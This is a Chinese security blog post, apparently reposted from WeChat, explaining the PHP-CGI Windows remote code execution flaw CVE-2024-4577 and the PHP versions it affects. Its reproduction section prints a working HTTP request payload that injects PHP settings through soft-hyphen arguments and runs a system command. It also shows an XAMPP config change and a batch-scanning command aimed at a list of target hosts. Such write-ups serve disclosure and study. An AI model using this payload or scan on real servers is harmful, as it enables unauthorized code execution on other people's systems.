前言
在2024.6.6那天发现公众号发布了一篇很火的文章,是关于PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577),通过@Orange Tsai 几个小时前发了一条推文,称“他的一个 PHP 漏洞默认影响 XAMPP”,我们对此感到十分好奇。XAMPP 是管理员和开发人员快速部署 Apache、PHP 和许多其他工具的一种非常流行的方式,任何可能在其默认安装中给我们带来 RCE 的漏洞听起来都很诱人。
漏洞描述
CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的,相对来说PHP在这个漏洞里更像是一个受害者。由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题,最终导致漏洞利用的算是一些PHP的小技巧。
影响范围
这个漏洞理论上影响PHP的所有版本
-
• PHP 8.3 < 8.3.8
-
• PHP 8.2 < 8.2.20
-
• PHP 8.1 < 8.1.29
除此之外的其他PHP版本官方已经不再维护了,包括PHP8.0、PHP7、PHP5在内,但是理论上来说他们都受到这个影响。
漏洞复现
1. 第一种打法,通过修改httpd-xampp.conf中注释解开下面这段代码,注释之后需要重启apache服务
# PHP-CGI setup
#
<FilesMatch ".php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>
通过发送以下的payload,可以成功执行命令
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.200.12
User-Agent: curl/8.3.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25<?php system('whoami');?>
-
2. 第二种打法,是直接默认按安装之后的,完全不需要在服务器上修改xampp的任何配置,也可以成功执行命令
扫描工具
python3 CVE-2024-4577.py -uf 1.txt
关注微信公众号回复0608获取POC
免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
原文始发于微信公众号(安全笔记):PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)附poc和批量扫描脚本
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论